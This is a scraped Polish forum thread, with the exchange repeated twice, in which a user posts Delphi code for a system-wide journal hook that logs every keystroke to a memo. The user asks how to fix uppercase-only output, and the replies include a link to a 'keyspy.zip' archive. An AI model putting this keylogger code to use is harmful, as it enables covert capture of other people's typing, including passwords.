Ĺadny brzuch
Mam taką procedurkę:
function HOOKbezDLL(Code: integer; wParam, lParam: Longint): Longint; stdcall; begin case Code of HC_ACTION: begin MMBB := PEventMsg(lParam)^; if MMBB.message = wm_KeyDown then begin case MMBB.paramh of  1 : Form1.Memo1.Text := Form1.Memo1.Text + '[ESCAPE]';  14 : Form1.Memo1.Text:= copy(Form1.Memo1.Text, 1, length(Form1.Memo1.Text)-1); // BACKSPACE  28 : Form1.Memo1.Lines.Add('');                         // ENTER  else  Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)  end; end; end; else begin Result := CallNextHookEx(Hook, Code, wParam, lParam); end; end; end;
i uruchamiam to:
Hook := SetWindowsHookEx(wh_journalrecord, HOOKbezDLL, HInstance, 0);
Jednak obojętnie od wciskanych klawiszy w Memo zapisują się DUŻE. Jak to zmienić ktoś podpowie?
Użytkownik qwert23 edytował ten post 29 marzec 2006, 16:42
Robię teraz coś takiego. Ale czy to sprawia różnicę czy to są duże litery czy małe?
Moja podpowiedź: Sprawdź co wychodzi jeżeli wciśniesz jakąś strzałkę. A co będzie w memo jeżeli ktoś będzie grał przez 1h?
Użytkownik NowyGracz edytował ten post 29 marzec 2006, 19:50
Sprawdź co wychodzi jeżeli wciśniesz jakąś strzałkę. A co będzie w memo jeżeli ktoś będzie grał przez 1h?
jak wciskam strzałki to wyskakuje:
&%(''
.. no i co z tego??
http://karol.10lo.pl/temp/keyspy.zip
Byc moze poprostu musisz wykryc kiedy jest wcisniety shift lub kiedy jest wlaczony caps lock i wg tego zmieniac wielkosc liter.
zanotowane.pl doc.pisz.pl pdf.pisz.pl zsf.htw.pl
function HOOKbezDLL(Code: integer; wParam, lParam: Longint): Longint; stdcall; begin case Code of HC_ACTION: begin MMBB := PEventMsg(lParam)^; if MMBB.message = wm_KeyDown then begin case MMBB.paramh of  1 : Form1.Memo1.Text := Form1.Memo1.Text + '[ESCAPE]';  14 : Form1.Memo1.Text:= copy(Form1.Memo1.Text, 1, length(Form1.Memo1.Text)-1); // BACKSPACE  28 : Form1.Memo1.Lines.Add('');                         // ENTER  else  Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)  end; end; end; else begin Result := CallNextHookEx(Hook, Code, wParam, lParam); end; end; end;
i uruchamiam to:
Hook := SetWindowsHookEx(wh_journalrecord, HOOKbezDLL, HInstance, 0);
Jednak obojętnie od wciskanych klawiszy w Memo zapisują się DUŻE. Jak to zmienić ktoś podpowie?
Użytkownik qwert23 edytował ten post 29 marzec 2006, 16:42
Robię teraz coś takiego. Ale czy to sprawia różnicę czy to są duże litery czy małe?
Moja podpowiedź: Sprawdź co wychodzi jeżeli wciśniesz jakąś strzałkę. A co będzie w memo jeżeli ktoś będzie grał przez 1h?
Użytkownik NowyGracz edytował ten post 29 marzec 2006, 19:50
Sprawdź co wychodzi jeżeli wciśniesz jakąś strzałkę. A co będzie w memo jeżeli ktoś będzie grał przez 1h?
jak wciskam strzałki to wyskakuje:
&%(''
.. no i co z tego??
http://karol.10lo.pl/temp/keyspy.zip
Byc moze poprostu musisz wykryc kiedy jest wcisniety shift lub kiedy jest wlaczony caps lock i wg tego zmieniac wielkosc liter.